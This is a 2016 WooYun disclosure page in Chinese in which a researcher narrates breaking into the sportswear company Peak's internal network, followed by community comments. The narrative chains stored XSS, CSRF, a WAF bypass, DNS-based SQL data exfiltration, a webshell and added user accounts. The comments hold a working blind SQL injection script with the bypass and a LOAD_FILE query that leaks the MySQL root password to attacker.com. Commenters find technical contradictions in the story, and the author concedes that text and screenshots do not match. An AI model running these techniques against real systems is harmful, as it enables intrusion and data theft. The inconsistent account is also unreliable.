漏洞概要
缺陷编号: 2016-204481
漏洞标题: 我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)
漏洞作者: Mr.Q
提交时间: 2016-05-03 09:31
公开时间: 2016-05-09 09:00
漏洞类型: 未授权访问/权限绕过
危害等级: 高
自评Rank: 20
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: [email protected]
Tags标签:
无
漏洞详情
披露状态:
2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
此次测试历时大半个月吧,不容易啊
详细说明:
先看看存不存在上传,不可以,做了限制
然后匹克某站存在xss漏洞
官方修复了,前端做了限制,正常思路,抓包绕过


等了好几天,打到一堆,终于打到了管理的cookie

成功登陆,
发现了这个

试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊
ip做了限制?
咋办啊?又纠结了好久,接着翻了翻匹克之前的洞
CSRF
缺陷编号: 2015-128938
漏洞标题: 匹克多处CSRF漏洞
后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊
我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”
构造了个POC,放在vps上了
插入xss代码
<iframe src="http://********/test.html" />
又是过了好久,头像可以上传了,成功getshell


试着添加用户
net user test test /add
权限不够,不是root权限,试着提权没成功
然后想到这就算了,就在这时,我又发现了匹克一处union注入,
我就想可不可以通过其他途径getshell呢,比如select into outfile

可是不知道路径...
天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了
匹克主站是有安全狗的,不过可以用/**)*/绕过

root权限
附上poc脚本
想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径
盲注,而且还有安全狗,实在太慢了,
于是想到可以利用DNS解析获取SQL结果啊
这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。
利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个


远程登录vps
nc -lvvp 6666进行监听

利用sqlmap --dns-domain --sql-shell
路径拿到

利用刚刚的union注入写入shell

这回是root权限

net use 添加用户 远程登录

成功漫游内网



内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入
整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安
漏洞证明:
修复方案:
版权声明:转载请注明来源 乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2016-05-09 09:00
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共3人评价):
评价
-
2016-05-03 09:54 |
大师兄
( 实习白帽子 |
Rank:31 漏洞数:8 | 每日必关注乌云)
1
1#
回复此人
-
2016-05-03 09:55 |
指尖上的故事
( 普通白帽子 |
Rank:794 漏洞数:175 | 放手不是我们不合适 | 而是成就你们更适合)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
2#
回复此人
-
2016-05-03 10:01 |
Mark0smith
( 普通白帽子 |
Rank:176 漏洞数:71 )
0
3#
回复此人
-
2016-05-03 10:17 |
乌云来了 打雷啦
( 实习白帽子 |
Rank:34 漏洞数:5 | 乌云来了 打雷啦)
2
4#
回复此人
-
2016-05-03 11:39 |
Miss Manlin
( 路人 |
Rank:4 漏洞数:2 | 小白兔)
0
5#
回复此人
-
2016-05-03 11:41 |
随风的风
( 普通白帽子 |
Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
6#
回复此人
-
2016-05-03 12:44 |
Hax0rs
( 实习白帽子 |
Rank:65 漏洞数:13 | Hax0rs)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
7#
回复此人
-
2016-05-03 14:35 |
习总夸我好青年
( 路人 |
Rank:2 漏洞数:1 | 刚来的,请多关照)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
8#
回复此人
-
2016-05-03 15:30 |
wybang
( 普通白帽子 |
Rank:199 漏洞数:56 | wybang)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
9#
回复此人
-
2016-05-03 15:49 |
从容
( 普通白帽子 |
Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 |
[email protected]..)
0
哥们不是我打击你,匹克21个漏洞报告,就确认了一个。。。
10#
回复此人
-
2016-05-03 15:51 |
乌云来了 打雷啦
( 实习白帽子 |
Rank:34 漏洞数:5 | 乌云来了 打雷啦)
0
11#
回复此人
-
2016-05-03 15:58 |
从容
( 普通白帽子 |
Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 |
[email protected]..)
0
12#
回复此人
-
2016-05-06 20:49 |
jdbang2016
( 实习白帽子 |
Rank:90 漏洞数:25 | 哈)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
13#
回复此人
-
2016-05-09 09:07 |
sauce
( 普通白帽子 |
Rank:285 漏洞数:46 | 面向人民币编程)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
14#
回复此人
-
2016-05-09 09:20 |
dragon110
( 路人 |
Rank:12 漏洞数:6 | 其实我是龙6)
0
小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧
15#
回复此人
-
2016-05-09 09:26 |
DNS
( 普通白帽子 |
Rank:803 漏洞数:85 |
[email protected])
0
16#
回复此人
-
2016-05-09 09:43 |
Mr .LZH
( 普通白帽子 |
Rank:622 漏洞数:79 | 非妹子勿扰···)
0
楼主真搞笑
net user test test /add
权限不够,不是root权限
17#
回复此人
-
2016-05-09 09:48 |
乌云来了 打雷啦
( 实习白帽子 |
Rank:34 漏洞数:5 | 乌云来了 打雷啦)
0
18#
回复此人
-
2016-05-09 09:50 |
jdbang2016
( 实习白帽子 |
Rank:90 漏洞数:25 | 哈)
0
19#
回复此人
-
2016-05-09 09:53 |
Mr.Q
( 普通白帽子 |
Rank:563 漏洞数:78 )
0
@jdbang2016 额 我还没注意 当时太晚了 贴篡脚本了
不过那个盲注貌似还没修复 稍后补上脚本哈
20#
回复此人
-
2016-05-09 09:55 |
Mr.Q
( 普通白帽子 |
Rank:563 漏洞数:78 )
0
#encoding=gbk
import time
import string
import sys
import random
import requests
def verify(url):
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
for payload in payloads:
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
html_doc = requests.get('%s/**)*/and/**)*/%s' % (url,s),timeout=60)
print '.',
if len(html_doc.text) > 6000:
user += payload
sys.stdout.write('\r[please wait] %s' % user)
sys.stdout.flush()
break
print '\n[Done]MySQL user is', user
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
verify(url)
else:
print "Usage: python %s url" % (args[0])
if __name__ == '__main__':
main()
21#
回复此人
-
2016-05-09 09:56 |
jdbang2016
( 实习白帽子 |
Rank:90 漏洞数:25 | 哈)
0
22#
回复此人
-
2016-05-09 10:00 |
lex1993
( 普通白帽子 |
Rank:113 漏洞数:37 | ®国家战略忽悠局指定白帽子 | WooYun认证...)
0
23#
回复此人
-
2016-05-09 11:11 |
Mr .LZH
( 普通白帽子 |
Rank:622 漏洞数:79 | 非妹子勿扰···)
0
@乌云来了 打雷啦 我读书少,但还是知道window主机是没有root这东西,真不知道洞主怎么玩的
24#
回复此人
-
2016-05-09 11:17 |
myhalo
( 普通白帽子 |
Rank:331 漏洞数:59 | T-Safe呼朋伴友。)
0
25#
回复此人
-
2016-05-09 11:22 |
Mr.Q
( 普通白帽子 |
Rank:563 漏洞数:78 )
0
@Mr .LZH 就是authority/system意思啦 这位白帽大哥root简单说法 大家都懂啦^_^
26#
回复此人
-
2016-05-09 11:50 |
爱捣蛋的鬼
( 实习白帽子 |
Rank:77 漏洞数:15 | 爱捣蛋的鬼)
0
27#
回复此人
-
2016-05-09 12:06 |
jackyu
( 路人 |
Rank:28 漏洞数:18 | 世界上没有一个系统是绝对安全的,系统最大...)
0
@MR.Q,你发的space_waf.py在哪呢,过安全狗py脚本。
28#
回复此人
-
2016-05-09 13:18 |
scanf
( 核心白帽子 |
Rank:1694 漏洞数:239 | 。)
0
29#
回复此人
-
2016-05-09 15:30 |
cfan
( 路人 |
Rank:8 漏洞数:2 | mechanism)
0
30#
回复此人
-
2016-05-09 15:36 |
cfan
( 路人 |
Rank:8 漏洞数:2 | mechanism)
0
@Mr.Q sqlmap --dns-domain --sql-shell,这里的dns-domain后面不用参数了吗?sql-shell里面的语句是这个吗?SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'
LIMIT 1),'.attacker.com\\foobar'));我本地测试一个,没有发送数据到我监听的端口上面,求指教!!
31#
回复此人
-
2016-05-09 20:35 |
ANS5
( 普通白帽子 |
Rank:349 漏洞数:107 | 此心安处是吾乡)
0
32#
回复此人
-
2016-05-10 02:28 |
Freebug
( 普通白帽子 |
Rank:110 漏洞数:39 | 流氓是一种高尚的职业!)
0
小伙子..看你测试历时大半个月...还是忽略了吧,心寒
33#
回复此人
-
2016-05-10 10:49 |
Jumbo
( 普通白帽子 |
Rank:132 漏洞数:33 | 猫 - https://www.chinabaiker.com)
0
34#
回复此人
-
2016-05-10 11:27 |
乌云来了 打雷啦
( 实习白帽子 |
Rank:34 漏洞数:5 | 乌云来了 打雷啦)
0
35#
回复此人
-
2016-05-10 11:34 |
1c3z
( 普通白帽子 |
Rank:307 漏洞数:64 | @)!^)
0
36#
回复此人
-
2016-05-10 11:50 |
1c3z
( 普通白帽子 |
Rank:307 漏洞数:64 | @)!^)
0
有个疑问nc -lvvp 6666是监听在tcp上的,但是--dns-domain,dns走的是udp协议。。。
不知道是如何擦出火法的。。。
37#
回复此人
-
2016-05-10 15:42 |
xsser 
( 普通白帽子 |
Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
0
38#
回复此人
-
2016-05-10 15:55 |
咚咚呛
( 普通白帽子 |
Rank:263 漏洞数:34 | 我是一只小毛驴咿呀咿呀呦~~)
0
@1c3z 哎呦我去,这洞我通读了一遍愣是感觉合情合理,楼主能看出也是神了。
39#
回复此人
-
2016-05-10 16:02 |
kevinchowsec
( 实习白帽子 |
Rank:94 漏洞数:21 | 周凯文,信息安全爱好者。)
0
很久很久以前,
我喜欢看渗透文章,
那时很多人也喜欢写渗透文章,
看的是思路,
微小的细节、出彩的神器均让我惊叹,
心想:“学习到了,学习到了,膜拜!”
这两三年,很少见到完整的渗透文章,更少见到精彩的渗透文章。
有某种感觉,让我觉得洞主和我有过同样的这段时光。
40#
回复此人
-
2016-05-10 16:12 |
jdbang2016
( 实习白帽子 |
Rank:90 漏洞数:25 | 哈)
0
41#
回复此人
-
2016-05-10 16:36 |
cfan
( 路人 |
Rank:8 漏洞数:2 | mechanism)
0
42#
回复此人
-
2016-05-10 16:38 |
大师兄
( 实习白帽子 |
Rank:31 漏洞数:8 | 每日必关注乌云)
0
话说讨论已经转移到这个对方了http://zone.wooyun.org/content/27162
43#
回复此人
-
2016-05-10 16:44 |
Mr.Q
( 普通白帽子 |
Rank:563 漏洞数:78 )
0
出来澄清下 因为洞这个确实经历了挺久,图片不是一天截下来的 贴的图确实有些问题 因为这个洞的问题不是匹克的一个站 涉及了好几个站 但漏洞是确实存在的 因为是回忆着发的漏洞 所以可能存在了描述和图片有几个地方没对上 发漏洞第一个目的是希望帮助厂商修补漏洞 当然啦 这个厂商各种偷偷修补漏洞不确认大家也都知道 第二个目的就是和大家交流心得 自己在过程中学习姿势 此次因个人原因的一个小事故本人向社区白帽表示不好意思 下次发洞前一定图片文字对应好 感谢各位大牛的悉心指正 散了吧~
44#
回复此人
-
2016-05-10 16:57 |
F4K3R
( 普通白帽子 |
Rank:318 漏洞数:34 | 求团队收留。)
0
http://shop1.vivo.com.cn:80 ctrl+F
45#
回复此人
-
2016-05-10 17:07 |
just_joker
( 普通白帽子 |
Rank:124 漏洞数:22 | ..........)
0
46#
回复此人
-
2016-05-11 14:50 |
无名
( 实习白帽子 |
Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)
0
47#
回复此人
-
2016-05-11 20:55 |
jye33
( 普通白帽子 |
Rank:1340 漏洞数:310 | 没有什么能够阻挡,我对静静的向往)
0
48#
回复此人
-
2016-05-12 20:03 |
hecate
( 普通白帽子 |
Rank:823 漏洞数:129 | ®高级安全工程师 | WooYun认证√)
0
49#
回复此人
-
2016-05-23 15:13 |
国光
( 路人 |
Rank:26 漏洞数:6 | 努力的小菜鸟)
0
50#
回复此人
-
2016-06-09 14:52 |
情小北
( 路人 |
Rank:21 漏洞数:9 | 那时候我们还年轻,所以任由时光作渡.)
0
linux 机器 net user .. 呵呵 看来新技术
51#
回复此人